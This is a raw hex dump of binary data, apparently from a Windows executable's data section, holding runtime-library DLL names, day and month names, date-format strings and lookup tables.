f646475756c6c65650a0a0000000000000000b0ee5e80810100007096e781810100007c1f6380810100000000000000000000507b298281010000f0db298281010000e80ee781810100001c9a86808101000098c25a8081010000620305444113001318594e0b12574c090b09131c68000000000000000000000063101e8de10100000000000000000000000000000000000004040000000000002025968a190000000000000000000000000000000000000000000000000000002929008081010000000000000000000000000000000000000f0f0000000000002025968a190000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034b18580810100007097e681810100001c9a86808101000098c25a808101000062030544451d1b0615041d06016e0000d89e478181010000f0b6478181010000307746818101000070374681810100006161646476766161707069693333323200000000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d6666696962626565727273732d2d6c6c31312d2d31312d2d31310000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d737379796e6e636368682d2d6c6c31312d2d32322d2d303000000000000000006b6b656572726e6e65656c6c3333323200000000000000000101000003030000462a1f322d00030c63000000000000000101000003030000462a1f35341700650101000003030000462a1f34221122370d191065000000000101000003030000462a1f20361122370d1910650000000002020000030300004927071d1d080d05131f26311b1d1d0a020d3f3606171d06012b3d78000000000000000000000000307b4a8181010000400b4a818101000048034a818101000058134a818101000068234a818101000078334a818101000088c34a818101000098d34a8181010000a4ef4a8181010000b0fb4a8181010000b8f34a8181010000c8834a8181010000d8934a81810100003483b68181010000e4af4a8181010000f0bb4a8181010000f8b34a8181010000fcb74a8181010000004c4d818101000004484d818101000008444d81810100000c404d8181010000105c4d818101000018544d818101000024684d818101000028644d81810100002c604d8181010000307c4d818101000034784d818101000038744d81810100003c704d8181010000400c4d818101000044084d818101000048044d81810100004c004d8181010000501c4d818101000054184d818101000058144d81810100005c104d8181010000602c4d818101000064284d818101000068244d81810100005ce4b981810100006c204d8181010000703c4d818101000074384d818101000078344d81810100007c304d818101000080cc4d818101000084c84d818101000088c44d81810100008cc04d818101000090dc4d818101000094d84d818101000098d44d8181010000a0ec4d8181010000b0fc4d8181010000c08c4d8181010000c8844d8181010000d8944d8181010000f0bc4d8181010000004d4c818101000018554c818101000038754c818101000058154c818101000078354c818101000098d54c8181010000b8f54c8181010000e0ad4c8181010000004e4f818101000028664f818101000048064f8181010000703e4f818101000090de4f8181010000a0ee4f8181010000a4ea4f8181010000b0fe4f8181010000c08e4f8181010000e4aa4f8181010000f0be4f8181010000004f4e8181010000105f4e8181010000307f4e8181010000501f4e818101000078374e8181010000a0ef4e8181010000c8874e8181010000f8b74e818101000018485181810100004010518181010000683851818101000098c8518181010000c898518181010000e8b85181810100003483b68181010000f8a851818101000010415081810100003061508181010000481950818101000068395081810100005f003d031216014c28000000000000005f003c0701060f6c5f002f111210020d6c000000000000005f002c071007020d006c0000000000005f002b1c011a10020d006c00000000005f003907120717020d006c00000000005f00291306171b1d11020d006c0000005f003c0f1e11020d006c00005f003a04030b6900000000005f002f04064402345f002d171607061b0a177400000000005f002a1b0f0d050e090b01640000000072171607061b0a175c280000204e0b12770000000000000020440109091111653d3d00003e003e003c003c00212100003d003d00211c3d005b065d00000000006f1f151713151b1d720000002d133e002a2a00002b002b002d002d002d2d00002b2b0000262600002d13142a2f2f0000252500003c3c00003c013d003e3e00003e033d002c2c0000280129007e7e00005e5e0000260026007c007c002a173d002b163d002d103d002f123d0025183d003e00033d3c00013d261b3d007c413d005e633d00000000006016101215030e0942270000000000006016141615030e094227000000000000601615020d004b2760140d09150a09412700000000000000600c030c020d4c530715151d0a4347121413164327000000601307061b07094027000000000000006016140312164544011607060716171b1d5527000000000060161306171b1d5244010909111d07094744011607060716171b1d5527000000600401030714191854430c011d07060716171b1d52430f031c06071742270000601310020d0d135244010909111d07094744011607060716171b1d552700000060161306171b1d52430c011d07060716171b1d52491d111713151b1d5527000060161306171b1d5244011607060716171b1d52491d111713151b1d552700000060161306171b1d52561403121645430c011d07060716171b1d52491d111713151b1d55270000000060161f1b0601140d4c440d1a031c0d020608080b1a544d0c115727000000000060050d48561306171b1d52430c011d07060716171b1d52491d111713151b1d55270000000000000060050d48561306171b1d5244011607060716171b1d52491d111713151b1d552760050d48561306171b1d52561403121645430c011d07060716171b1d52491d111713151b1d55270060030c1f0959430c011d07060716171b1d52430f031c06071742270000000000601511105452171101071c070709402760250d48603206001d49000000000000600c030c020d4c56101215030e094227600c030c020d4c56101215030e0945430c011d07060716171b1d52430f031c0607174227204e0b122c065d0000000000204401090911113e065d000000000000600f0203074943020d001f1a0e40270060101c0d020608080b1a5444010909111145430f031c0607174227000000000060101c0d020608080b1a544401090911113e067d430f031c0607174227000000600d0c0f0f06020144561306171b1d52430c011d07060716171b1d52491d111713151b1d55270000600d0c0f0f06020144561306171b1d5244011607060716171b1d52491d111713151b1d552700000060050d48561306171b1d52430c1f0959430c011d07060716171b1d52491d111713151b1d5527000060050d48561306171b1d52561403121645430c1f0959430c011d07060716171b1d52491d111713151b1d55270000000060041d170f0c040a434907071d1d080d05131f175246091d520727000000000060041d170f0c040a434115111d111d5444011607060716171b1d5246091d5207270000000000000060161306171b1d52430c1f0959430c011d07060716171b1d52491d111713151b1d5527000000000060161306171b1d52561403121645430c1f0959430c011d07060716171b1d52491d111713151b1d552700000000000000600d0c0f0f06020144561306171b1d52430c1f0959430c011d07060716171b1d52491d111713151b1d55270000000000600c030c020d4c530715151d0a43541c1a1704054447121413164327000000006f1f151713151b1d520200022000000020742d09154564211610111b19041b1d5527000000000000206223121645632f0d12005364211610111b19041b1d52411554082800000000206223121645632f0d12005361330013185e27000000000020632f0d12005368210c171313110b115964211610111b19041b1d552700000020632c021d1c091111456f2d080f0617546c230c02151b1d552700000000000000000000000000000101000016160000020200000202000003030000020200000404000018180000050500000d0d00000606000009090000070700000c0c0000080800000c0c0000090900000c0c00000a0a0000070700000b0b0000080800000c0c0000161600000d0d0000161600000f0f000002020000101000000d0d000011110000121200001212000002020000212100000d0d00003535000002020000414100000d0d000043430000020200005050000011110000525200000d0d0000535300000d0d00005757000016160000595900000b0b00006c6c00000d0d00006d6d000020200000707000001c1c000072720000090900000606000016160000808000000a0a0000818100000a0a000082820000090900008383000016160000848400000d0d000091910000292900009e9e00000d0d0000a1a1000002020000a4a400000b0b0000a7a700000d0d0000b7b7000011110000cece000002020000d7d700000b0b0000181f07000c0c00000000000000000000050500c0cb0b000000000000000000001d1d00c0c40400000000000000000000969600c0c404000000000000000000008d8d00c0c808000000000000000000008e8e00c0c808000000000000000000008f8f00c0c80800000000000000000000909000c0c80800000000000000000000919100c0c80800000000000000000000929200c0c80800000000000000000000939300c0c80800000000000000000000b4b602c0c80800000000000000000000b5b702c0c808000000000000000000000c0c000000000000030300000000000009090000000000006d6d737363636f6f7272656565652e2e64646c6c6c6c0000432c1d373d111d24221d0c0616007300a012b280810100000000000000000000ec5eb280810100000000000000000000a064c4808101000060a5c58081010000d86ab28081010000d86ab2808101000008b7bf80810100006cd3bf80810100009443d78081010000b067d78081010000000000000000000040f3b38081010000e855bd8081010000249abe8081010000a47dd98081010000e039d9808101000068bed68081010000d86ab280810100004c9ed2808101000000000000000000000000000000000000d86ab28081010000000000000000000048fbb38081010000d86ab28081010000dc6eb28081010000b406b28081010000d86ab2808101000090c5548181010000e0b5548181010000f0b647818101000020765781810100006036578181010000b0e6578181010000104756818101000060375681810100003077468181010000a0f7568181010000e0b756818101000020785981810100006038598181010000b0e859818101000010495881810100007029588181010000c099588181010000d89e4781810100007037468181010000104a5b81810100006161707069692d2d6d6d73732d2d777769696e6e2d2d6161707070706d6d6f6f646465656c6c2d2d727275756e6e747469696d6d65652d2d6c6c31312d2d31312d2d31310000000000000000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d6464616174746565747469696d6d65652d2d6c6c31312d2d31312d2d313100006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d666669696c6c65652d2d6c6c32322d2d31312d2d3131000000000000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d6c6c6f6f636361616c6c69697a7a6161747469696f6f6e6e2d2d6c6c31312d2d32322d2d3131000000000000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d6c6c6f6f636361616c6c69697a7a6161747469696f6f6e6e2d2d6f6f626273736f6f6c6c6565747465652d2d6c6c31312d2d32322d2d303000000000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d707072726f6f636365657373737374746868727265656161646473732d2d6c6c31312d2d31312d2d32320000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d73737474727269696e6e67672d2d6c6c31312d2d31312d2d30300000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d73737979737369696e6e66666f6f2d2d6c6c31312d2d32322d2d3131000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d777769696e6e727274742d2d6c6c31312d2d31312d2d303000000000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d63636f6f727265652d2d7878737374746161747465652d2d6c6c32322d2d31312d2d30300000000000006161707069692d2d6d6d73732d2d777769696e6e2d2d7272747463636f6f727265652d2d6e6e747475757373656572722d2d777769696e6e64646f6f77772d2d6c6c31312d2d31312d2d3030000000006161707069692d2d6d6d73732d2d777769696e6e2d2d737365656363757572726969747479792d2d737379797373747465656d6d666675756e6e6363747469696f6f6e6e73732d2d6c6c31312d2d31312d2d30300000000000000000000000006565787874742d2d6d6d73732d2d777769696e6e2d2d6b6b656572726e6e65656c6c333332322d2d7070616163636b6b6161676765652d2d636375757272727265656e6e74742d2d6c6c31312d2d31312d2d30300000000000000000000000006565787874742d2d6d6d73732d2d777769696e6e2d2d6e6e747475757373656572722d2d6464696961616c6c6f6f676762626f6f78782d2d6c6c31312d2d31312d2d30300000000000000000000000006565787874742d2d6d6d73732d2d777769696e6e2d2d6e6e747475757373656572722d2d777769696e6e64646f6f7777737374746161747469696f6f6e6e2d2d6c6c31312d2d31312d2d303000000000757573736565727233333232000000000202000012120000020200001212000002020000121200000202000012120000000000000e0e000047221137360700170b1a243102080a06022c2d6400000000080800001212000004040000121200004c0f0e2c112327061b0709223d78000004040000121200004c230c020d092b2f0c08313b230f0a0d44000000000000008023a2818101000070d7a681810100009033a28181010000c062a3818101000080dd5c818101000084d95c818101000088d55c81810100008cd15c818101000090cd5c818101000094c95c818101000098c55c81810100009cc15c8181010000a4f95c8181010000b0ed5c8181010000b8e55c8181010000c8955c8181010000d4895c8181010000e0bd5c8181010000ecb15c8181010000f0ad5c8181010000f4a95c8181010000f8a55c8181010000fca15c8181010000005e5f8181010000045a5f818101000008565f81810100000c525f8181010000104e5f8181010000144a5f818101000018465f8181010000207e5f818101000028765f8181010000346a5f81810100003c625f8181010000fca15c8181010000441a5f81810100004c125f8181010000540a5f8181010000603e5f8181010000702e5f818101000078265f818101000088d65f818101000094ca5f818101000098c65f8181010000a0fe5f8181010000b0ee5f8181010000c8965f81810100000101000000000000d8865f8181010000e0be5f8181010000e8b65f8181010000f0ae5f8181010000f8a65f8181010000005f5e818101000008575e8181010000104f5e8181010000207f5e8181010000306f5e8181010000401f5e818101000058075e8181010000702f5e818101000080df5e818101000098c75e8181010000a0ff5e8181010000a8f75e8181010000b0ef5e8181010000b8e75e8181010000c09f5e8181010000c8975e8181010000d08f5e8181010000d8875e8181010000e0bf5e8181010000e8b75e8181010000f0af5e8181010000f8a75e8181010000086861818101000020406181810100003050618181010000b8e75e8181010000402061818101000050306181810100006000618181010000701061818101000088e861818101000098f8618181010000b0d0618181010000c4a4618181010000ccac618181010000d8b8618181010000f090618181010000187960818101000010b3a2818101000053261b6e4d22016e5421106557320164543c1d7546341b695332157453261b0a051879004d22010a051879000000000054211016170518795732010a0b1617051879000000000000543c1d07011705187900000046341b0d05187900000000005332150107160518790000004a2b0f6e462307624d2c1372413102724d2c18794a3f1b6e4a3f196c41341267533615704f2c17744e21197644210663000000004a2b0f1b14130b79462307100714130b790000004d2c13110b6800004131021b056c00004a3f1b0b650000004a3f1915790000004134121206077400000000005336150411080f0717720000000000004f2c171b0d0717724e211913080f0717720000000000000044210606080f071772000000410c4d00501d4d00000000004d00624b004b5600790000000000000064000000480c6d0000006d4400480c59000000790000000048007257005749007300000000000000535375756e6e00004d4d6f6f6e6e000054547575656500005757656564640000545468687575000046467272696900005353616174740000535375756e6e646461617979000000004d4d6f6f6e6e64646161797900000000545475756565737364646161797900005757656564646e6e65657373646461617979000000000000545468687575727273736464616179790000000000000000464672726969646461617979000000005353616174747575727264646161797900000000000000004a4a61616e6e000046466565626200004d4d61617272000041417070727200004d4d6161797900004a4a75756e6e00004a4a75756c6c0000414175756767000053536565707000004f4f6363747400004e4e6f6f7676000044446565636300004a4a61616e6e757561617272797900004646656562627272757561617272797900000000000000004d4d616172726363686800000000000041417070727269696c6c0000000000004a4a75756e6e656500000000000000004a4a75756c6c7979000000000000000041417575676775757373747400000000535365657070747465656d6d6262656572720000000000004f4f636374746f6f62626565727200004e4e6f6f767665656d6d626265657272000000000000000044446565636365656d6d6262656572720000000041414d4d0000000050504d4d00000000000000004d4d4d4d2f2f646464642f2f79797979000000000000000064646464646464642c2c20204d4d4d4d4d4d4d4d2020646464642c2c202079797979797979790000484848483a3a6d6d6d6d3a3a73737373000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000202020202020202020202020202020202020282828282828282828282020202020202020202020202020202020202020202020202020202020202020202020204848101010101010101010101010101010101010101010101010101010101010848484848484848484848484848484848484848410101010101010101010101010108181818181818181818181810101010101010101010101010101010101010101010101010101010101010101010101010101010110101010101010101010101082828282828282828282828202020202020202020202020202020202020202020202020202020202020202020202020202020202101010101010101020200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f010301070103017f010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f01030107010301ff010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f010301070103017f210301070103010f010301070103011f010301070103010f010321070103013f010301070103010f010301070103011f010301070103010f01030107010301ff010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f010301070103017f010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f010301070103017f010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f010301070103017f010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f01030107010301ff010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f010301070103017f010301070103010f010301070103011f010301070103010f010301070103013f210301070103010f010301070103011f010301070103010f01032107010301ff010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f010301070103017f010301070103010f010301070103011f010301070103010f010301070103013f010301070103010f010301070103011f010301070103010f01030107010301ff0020202020202020202020202020202020202028282828282828282828202020202020202020202020202020202020202020202020202020202020202020202020484810101010101010101010101010101010101010101010101010101010101084848484848484848484848484848484848484841010101010101010101010101010818080808080808080808080000000000000000000000000000000000000000000000000000000000000000000000000000000001110101010101010101010108283838383838383838383830303030303030303030303030303030303030303030303030303030303030303030303030303030311101010101010102020202020202020202020202828202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200808101010101010101010101010101010101010121311101010303010101010101010101414141410101213111010101010141412131110101010101010101001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111001000000000000000000000000000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303031110020303030303030303030303030303030000010000000000000000000000010100000000000078d8a1818101000002020000000000008020a1818101000003030000000000008828a1818101000004040000000000009030a181810100000505000000000000a000a181810100000606000000000000a808a181810100000707000000000000b010a181810100000808000000000000b818a181810100000909000000000000c060a181810100000a0a000000000000c868a181810100000b0b000000000000d070a181810100000c0c000000000000d878a181810100000d0d000000000000e040a181810100000e0e000000000000e848a181810100000f0f000000000000f050a181810100001010000000000000f858a18181010000111100000000000000a1a08181010000121200000000000008a9a08181010000131300000000000010b1a08181010000141400000000000018b9a0818101000015150000000000002081a0818101000016160000000000002889a0818101000018180000000000003091a0818101000019190000000000003899a081810100001a1a00000000000040e1a081810100001b1b00000000000048e9a081810100001c1c00000000000050f1a081810100001d1d00000000000058f9a081810100001e1e00000000000060c1a081810100001f1f00000000000068c9a08181010000202000000000000070d1a08181010000212100000000000078d9a0818101000022220000000000008021a0818101000023230000000000008829a0818101000024240000000000009031a0818101000025250000000000009839a081810100002626000000000000a001a081810100002727000000000000a809a081810100002929000000000000b011a081810100002a2a000000000000b819a081810100002b2b000000000000c061a081810100002c2c000000000000c869a081810100002d2d000000000000d071a081810100002f2f000000000000d879a081810100003636000000000000e041a081810100003737000000000000e849a081810100003838000000000000f051a081810100003939000000000000f859a081810100003e3e00000000000000a2a381810100003f3f00000000000008aaa38181010000404000000000000010b2a38181010000414100000000000018baa3818101000043430000000000002082a381810100004444000000000000288aa3818101000046460000000000003092a381810100004747000000000000389aa38181010000494900000000000040e2a381810100004a4a00000000000048eaa381810100004b4b00000000000050f2a381810100004e4e00000000000058faa381810100004f4f00000000000060c2a38181010000505000000000000068caa38181010000565600000000000070d2a38181010000575700000000000078daa381810100005a5a0000000000008022a381810100006565000000000000882aa381810100007f7f00000000000074d4a1818101000001050400000000009032a381810100000206040000000000a002a381810100000307040000000000b012a381810100000400040000000000c062a381810100000501040000000000d072a381810100000602040000000000e042a381810100000703040000000000f052a38181010000080c04000000000000a3a28181010000090d04000000000010b3a281810100000b0f0400000000002083a281810100000c080400000000003093a281810100000d0904000000000040e3a281810100000e0a04000000000050f3a281810100000f0b04000000000060c3a28181010000101404000000000070d3a2818101000011150400000000008023a2818101000012160400000000009033a281810100001317040000000000a003a281810100001410040000000000b013a281810100001511040000000000c063a281810100001612040000000000d073a28181010000181c040000000000e043a28181010000191d040000000000f053a281810100001a1e04000000000000a4a581810100001b1f04000000000010b4a581810100001c180400000000002084a581810100001d190400000000003094a581810100001e1a04000000000040e4a581810100001f1b04000000000050f4a58181010000202404000000000060c4a58181010000212504000000000070d4a5818101000022260400000000008024a5818101000023270400000000009034a581810100002420040000000000a004a581810100002521040000000000b014a581810100002622040000000000c064a581810100002723040000000000d074a58181010000292d040000000000e044a581810100002a2e040000000000f054a581810100002b2f04000000000000a5a481810100002c2804000000000010b5a481810100002d29040000000000288da481810100002f2b040000000000389da48181010000323604000000000048eda48181010000343004000000000058fda48181010000353104000000000068cda48181010000363204000000000078dda481810100003733040000000000882da48181010000383c040000000000983da48181010000393d040000000000a80da481810100003a3e040000000000b81da481810100003b3f040000000000c86da481810100003e3a040000000000d87da481810100003f3b040000000000e84da481810100004044040000000000f85da48181010000414504000000000008aea78181010000434704000000000018bea7818101000044400400000000003096a78181010000454104000000000040e6a78181010000464204000000000050f6a78181010000474304000000000060c6a78181010000494d04000000000070d6a781810100004a4e0400000000008026a781810100004b4f0400000000009036a781810100004c48040000000000a006a781810100004e4a040000000000b016a781810100004f4b040000000000c066a781810100005054040000000000d076a781810100005256040000000000e046a781810100005652040000000000f056a78181010000575304000000000000a7a681810100005a5e04000000000010b7a6818101000065610400000000002087a681810100006b6f0400000000003097a681810100006c6804000000000040e7a68181010000818504000000000050f7a68181010000010908000000000060c7a68181010000040c08000000000070d7a68181010000070f0800000000008027a6818101000009010800000000009037a681810100000a02080000000000a007a681810100000c04080000000000b017a681810100001018080000000000c067a68181010000131b080000000000d077a68181010000141c080000000000e047a68181010000161e080000000000f057a681810100001a1208000000000000a8a981810100001d1508000000000018b0a981810100002c240800000000002880a981810100003b3308000000000040e8a981810100003e3608000000000050f8a98181010000434b08000000000060c8a981810100006b6308000000000078d0a98181010000010d0c00000000008820a9818101000004080c00000000009830a98181010000070b0c0000000000a800a9818101000009050c0000000000b810a981810100000a060c0000000000c860a981810100000c000c0000000000d870a981810100001a160c0000000000e840a981810100003b370c000000000000a9a881810100006b670c000000000010b9a8818101000001111000000000002089a8818101000004141000000000003099a88181010000071710000000000040e9a88181010000091910000000000050f9a881810100000a1a10000000000060c9a881810100000c1c10000000000070d9a881810100001a0a1000000000008029a881810100003b2b1000000000009039a881810100000115140000000000a009a881810100000410140000000000b019a881810100000713140000000000c069a88181010000091d140000000000d079a881810100000a1e140000000000e049a881810100000c18140000000000f059a881810100001a0e14000000000000aaab81810100003b2f14000000000018b2ab818101000001191800000000002882ab818101000009111800000000003892ab81810100000a1218000000000048e2ab81810100000c1418000000000058f2ab81810100001a0218000000000068c2ab81810100003b23180000000000802aab8181010000011d1c0000000000903aab818101000009151c0000000000a00aab81810100000a161c0000000000b01aab81810100001a061c0000000000c06aab81810100003b271c0000000000d872ab81810100000121200000000000e842ab81810100000929200000000000f852ab81810100000a2a20000000000008a3aa81810100003b1b20000000000018b3aa818101000001252400000000002883aa8181010000092d2400000000003893aa81810100000a2e24000000000048e3aa81810100003b1f24000000000058f3aa8181010000012928000000000068c3aa8181010000092128000000000078d3aa81810100000a222800000000008823aa8181010000012d2c00000000009833aa818101000009252c0000000000a803aa81810100000a262c0000000000b813aa81810100000131300000000000c863aa81810100000939300000000000d873aa81810100000a3a300000000000e843aa81810100000135340000000000f853aa8181010000093d34000000000008a4ad81810100000a3e34000000000018b4ad818101000001393800000000002884ad81810100000a323800000000003894ad8181010000013d3c000000000048e4ad81810100000a363c000000000058f4ad8181010000014140000000000068c4ad81810100000a4a40000000000078d4ad81810100000a4e4400000000008824ad81810100000a424800000000009834ad81810100000a464c0000000000a804ad81810100000a5a500000000000b814ad818101000004787c0000000000c864ad81810100001a667c0000000000d874ad818101000074d4a181810100004242000000000000e041a081810100002c2c000000000000e04cad8181010000717100000000000078d8a181810100000000000000000000f05cad8181010000d8d800000000000000adac8181010000dada00000000000010bdac8181010000b1b1000000000000208dac8181010000a0a0000000000000309dac81810100008f8f00000000000040edac8181010000cfcf00000000000050fdac8181010000d5d500000000000060cdac8181010000d2d200000000000070ddac8181010000a9a9000000000000802dac8181010000b9b9000000000000903dac8181010000c4c4000000000000a00dac8181010000dcdc000000000000b01dac81810100004343000000000000c06dac8181010000cccc000000000000d07dac8181010000bfbf000000000000e04dac8181010000c8c8000000000000c869a081810100002929000000000000f05dac81810100009b9b00000000000008a6af81810100006b6b0000000000008829a081810100002121000000000000208eaf818101000063630000000000008020a181810100000101000000000000309eaf8181010000444400000000000040eeaf81810100007d7d00000000000050feaf8181010000b7b70000000000008828a18181010000020200000000000068c6af81810100004545000000000000a000a18181010000040400000000000078d6af818101000047470000000000008826af81810100008787000000000000a808a1818101000005050000000000009836af81810100004848000000000000b010a181810100000606000000000000a806af8181010000a2a2000000000000b816af81810100009191000000000000c866af81810100004949000000000000d876af8181010000b3b3000000000000e846af8181010000abab000000000000882aa381810100004141000000000000f856af81810100008b8b000000000000b818a18181010000070700000000000008a7ae81810100004a4a000000000000c060a18181010000080800000000000018b7ae8181010000a3a30000000000002887ae8181010000cdcd0000000000003897ae8181010000acac00000000000048e7ae8181010000c9c900000000000058f7ae8181010000929200000000000068c7ae8181010000baba00000000000078d7ae8181010000c5c50000000000008827ae8181010000b4b40000000000009837ae8181010000d6d6000000000000a807ae8181010000d0d0000000000000b817ae81810100004b4b000000000000c867ae8181010000c0c0000000000000d877ae8181010000d3d3000000000000c868a181810100000909000000000000e847ae8181010000d1d1000000000000f857ae8181010000dddd00000000000008b8b18181010000d7d700000000000018a8b18181010000caca0000000000002898b18181010000b5b50000000000003888b18181010000c1c100000000000048f8b18181010000d4d400000000000058e8b18181010000a4a400000000000068d8b18181010000adad00000000000078c8b18181010000dfdf0000000000008838b1818101000093930000000000009828b18181010000e0e0000000000000a818b18181010000bbbb000000000000b808b18181010000cece000000000000c878b18181010000e1e1000000000000d868b18181010000dbdb000000000000e858b18181010000dede000000000000f848b18181010000d9d900000000000008b9b08181010000c6c60000000000009839a08181010000232300000000000018a9b081810100006565000000000000d071a081810100002a2a0000000000002899b081810100006c6c000000000000b011a0818101000026260000000000003889b081810100006868000000000000d070a181810100000a0a00000000000048f9b081810100004c4c000000000000f051a081810100002e2e00000000000058e9b081810100007373000000000000d878a181810100000b0b00000000000068d9b08181010000949400000000000078c9b08181010000a5a50000000000008839b08181010000aeae0000000000009829b081810100004d4d000000000000a819b08181010000b6b6000000000000b809b08181010000bcbc00000000000070d2a381810100003e3e000000000000c879b081810100008888000000000000389aa381810100003737000000000000d869b081810100007f7f000000000000e040a181810100000c0c000000000000e859b081810100004e4e000000000000f859a081810100002f2f000000000000f849b08181010000747400000000000040e1a08181010000181800000000000008bab38181010000afaf00000000000018aab381810100005a5a000000000000e848a181810100000d0d000000000000289ab381810100004f4f000000000000c061a081810100002828000000000000388ab381810100006a6a00000000000078d9a081810100001f1f00000000000048fab381810100006161000000000000f050a181810100000e0e00000000000058eab381810100005050000000000000f858a181810100000f0f00000000000068dab38181010000959500000000000078cab38181010000515100000000000000a1a081810100001010000000000000883ab381810100005252000000000000e849a081810100002d2d000000000000982ab38181010000727200000000000008aaa381810100003131000000000000a81ab38181010000787800000000000050f2a381810100003a3a000000000000b80ab38181010000828200000000000008a9a08181010000111100000000000078daa381810100003f3f000000000000c87ab381810100008989000000000000d86ab38181010000535300000000000010b2a381810100003232000000000000e85ab381810100007979000000000000a809a081810100002525000000000000f84ab381810100006767000000000000a001a08181010000242400000000000008bbb28181010000666600000000000018abb281810100008e8e000000000000d879a081810100002b2b000000000000289bb281810100006d6d000000000000388bb28181010000838300000000000068caa381810100003d3d00000000000048fbb28181010000868600000000000058faa381810100003b3b00000000000058ebb28181010000848400000000000000a2a38181010000303000000000000068dbb281810100009d9d00000000000078cbb281810100007777000000000000883bb281810100007575000000000000982bb28181010000555500000000000010b1a081810100001212000000000000a81bb281810100009696000000000000b80bb281810100005454000000000000c87bb28181010000979700000000000018b9a081810100001313000000000000d86bb281810100008d8d0000000000003092a381810100003636000000000000e85bb281810100007e7e0000000000002081a081810100001414000000000000f84bb2818101000056560000000000002889a08181010000151500000000000008bcb58181010000575700000000000018acb581810100009898000000000000289cb581810100008c8c000000000000388cb581810100009f9f00000000000048fcb58181010000a8a80000000000003091a08181010000161600000000000058ecb5818101000058580000000000003899a08181010000171700000000000068dcb58181010000595900000000000060c2a381810100003c3c00000000000078ccb581810100008585000000000000883cb58181010000a7a7000000000000982cb581810100007676000000000000a81cb581810100009c9c00000000000048e9a081810100001919000000000000b80cb581810100005b5b0000000000009031a081810100002222000000000000c87cb581810100006464000000000000d86cb58181010000bebe000000000000e85cb58181010000c3c3000000000000f84cb58181010000b0b000000000000008bdb48181010000b8b800000000000018adb48181010000cbcb000000000000289db48181010000c7c700000000000050f1a081810100001a1a000000000000388db481810100005c5c000000000000d874ad8181010000e3e300000000000048fdb48181010000c2c200000000000060d5b48181010000bdbd00000000000078cdb48181010000a6a60000000000009025b48181010000999900000000000058f9a081810100001b1b000000000000a81db481810100009a9a000000000000b80db481810100005d5d00000000000018baa381810100003333000000000000c87db481810100007a7a0000000000008022a381810100004040000000000000d86db481810100008a8a00000000000040e2a381810100003838000000000000e85db48181010000808000000000000048eaa381810100003939000000000000f84db48181010000818100000000000060c1a081810100001c1c00000000000008beb781810100005e5e00000000000018aeb781810100006e6e00000000000068c9a081810100001d1d000000000000289eb781810100005f5f000000000000288aa381810100003535000000000000388eb781810100007c7c0000000000008021a08181010000202000000000000048feb78181010000626200000000000070d1a081810100001e1e00000000000058eeb7818101000060600000000000002082a38181010000343400000000000068deb781810100009e9e0000000000008036b781810100007b7b000000000000b819a081810100002727000000000000982eb781810100006969000000000000a81eb781810100006f6f000000000000b80eb781810100000303000000000000c87eb78181010000e2e2000000000000d86eb781810100009090000000000000e85eb78181010000a1a1000000000000f84eb78181010000b2b200000000000008bfb68181010000aaaa00000000000018afb681810100004646000000000000289fb681810100007070000000000000000000000000f00fff00000000000000000000000000f08f7f00000000000000000000000000f807ff0000000000000000000000000008080000000000000000fffc030000000000000000000000000001010000000000000000000000000000ff0000000000f00f00000000000000000000000000f0ff0f0000000000000000000000000008080000000000000000000eebc3336eb010e43f000000000000000000000078b310e43f0000000000000035a0e4591f9e01963e0000000000000000000050435797ec3f00000000000000251b5cbce1d0ec3d3e0000000000000000000000000000404000000000000000000000000000f0cf3f00000000000000000000000000e0df3f0000000000000000010100000000000000000000000000000000000000605f3f00000000000000000000000000e0df3f0000000000000055000000000080ea3f00000000000000000000000000d0ef3f000000000000009a030000000050f63f0000000000000055000000000090fa3f000000000000000000000000f8774fc000000000000000fdfa0700000000000000000000000000000000000000b08f3f00000000000000000000000000eed13f00000000000000000000000000f1ce3f0000000000000000000000000010100000000000000000ff000000000000807f00000000000000e6b201000000e08a3f00000000000000d4127c23000010b63f000000000000009fcea0f6246a2b5d3f00000000000000f00fa295fcb4bc033f0000000000000000000000ff000000ff00000000000000010100000202000003030000000000000000000000000000000000900e23e6643f000070a47bc4543f000060f52ccd4b3f0000a0d6e2ef443f0000a0ed79b5be3f00005058931fbb3f0000c0b18f79b83f00008010ced5b43f0000f09ad135b13f0000a023899bae3f0000e0550027ad3f0000501f10cbab3f000000535491a93f0000d0136e3aa83f0000f054f6cba63f000020d